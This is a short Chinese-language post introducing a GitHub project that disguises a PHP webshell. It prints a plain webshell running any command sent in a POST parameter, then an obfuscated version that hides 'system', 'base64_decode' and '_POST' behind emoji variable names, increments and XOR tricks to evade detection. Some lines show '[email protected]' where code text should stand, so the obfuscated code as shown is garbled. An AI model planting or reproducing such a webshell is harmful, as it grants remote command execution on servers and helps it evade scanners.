项目地址：https://github.com/nightfury99/php-emoji-webshell

0x01 php-emoji-webshell介绍

0x02 原webshell代码

<?php
$a = $_POST[4] ? base64_decode($_POST[4]) : 'whoami';@system($a);

0x03 变成表情符号、自增或异或运算

<?php
$_=[];[email protected]"$_";$__=("_"=="_")+("_"=="_");[email protected]$_[++$__];
$🌏=$_++;$🤮=$_++;$🍪=$_++;$🫣=$_++;$🧁=$_++;$🎂=$_++;$🥃=$_++;$🍔=$_++;$🌘=$_++;$🌗=$_++;$🌖=$_++;$🌕=$_++;$🌒=$_++;$🌓=$_++;$🌔=$_++;$🌰=$_++;$🍘=$_++;$🥗=$_++;$🥥=$_++;$🍑=$_++;$🍋=$_++;$🧇=$_++;$🌮=$_++;$🍕=$_++;$🥯=$_++;$🍣=$_;
$__++;$__++;$__++;$👿=$🤮.$🌏.$🥥.$🧁.$__;$__--;$__--;$👿.=$__.("#"^"|").$🫣.$🧁.$🍪.$🌔.$🫣.$🧁;
$💀=$🥥.$🥯.$🥥.$🍑.$🧁.$🌒;$🥳=("#"^"|").($🥥^"#").($🌕^"#").($🌰^"#").($🌮^"#"); $🤯[email protected]${$🥳}[$__] ? $👿(@${$🥳}[$__]) : $🌮.$🍔.$🌔.$🌏.$🌒.$🌘;@$💀($🤯);